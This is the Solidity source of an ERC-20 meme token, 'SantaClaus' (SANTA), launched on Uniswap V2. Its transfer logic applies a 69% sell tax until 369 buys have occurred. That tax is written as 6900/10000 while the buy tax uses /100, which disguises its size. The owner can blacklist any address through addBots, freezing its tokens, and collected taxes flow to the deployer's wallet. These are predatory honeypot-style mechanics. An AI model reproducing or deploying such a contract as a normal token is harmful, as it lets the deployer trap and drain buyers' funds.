File 1 of 1: SantaClaus.sol
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract SantaClaus is Context, IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _taxWallet;
uint256 private _initialBuyTax = 0;
uint256 private _initialSellTax = 6900;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 69;
uint256 public _reduceBuyTaxAt = 0;
uint256 public _reduceSellTaxAt = 369;
uint256 private _preventSwapBefore = 30;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 69000000 ether;
string private constant _name = unicode"SantaClaus";
string private constant _symbol = unicode"SANTA";
uint256 public MAX_TX_WALLET_AMOUNT_PCT = 1;
uint256 public _maxTxAmount = (_tTotal * MAX_TX_WALLET_AMOUNT_PCT) / 100;
uint256 public _maxWalletSize = _maxTxAmount;
uint256 public _taxSwapThreshold = _maxTxAmount * 3;
uint256 public _maxTaxSwap = _taxSwapThreshold;
uint256 public immutable SANTA_WALLET_PERCENT = 69;
address public immutable SANTA_WALLET = 0x0a03662063f913Ec6F452B4398cCE5CE63A50D50;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
uint256 _santaWalletAmount = (_tTotal * SANTA_WALLET_PERCENT) / 1000;
uint256 _tTotalWithoutWallets = _tTotal - _santaWalletAmount;
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotalWithoutWallets;
_balances[SANTA_WALLET] = _santaWalletAmount;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_isExcludedFromFee[SANTA_WALLET] = true;
emit Transfer(address(0), _msgSender(), _tTotalWithoutWallets);
emit Transfer(address(0), SANTA_WALLET, _santaWalletAmount);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(
_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
taxAmount = (amount * ((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)) / 100;
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount * ((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax) / 10000;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold
&& _buyCount > _preventSwapBefore
) {
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)] + (taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from] - (amount);
_balances[to] = _balances[to] + (amount - taxAmount);
emit Transfer(from, to, amount - taxAmount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
if (tokenAmount == 0) return;
if (!tradingOpen) return;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount, 0, path, address(this), block.timestamp
);
}
function removeLimits() external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
transferDelayEnabled = false;
_reduceSellTaxAt = 20;
_reduceBuyTaxAt = 20;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function isBot(address a) public view returns (bool) {
return bots[a];
}
function trust() external onlyOwner {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp
);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 tokenBalance = balanceOf(address(this));
if (tokenBalance > 0) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
sendETHToFee(ethBalance);
}
}
function manualWithdraw() external {
require(_msgSender() == _taxWallet);
uint256 tokenBalance = balanceOf(address(this));
this.transfer(_taxWallet, tokenBalance);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint256 i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
}
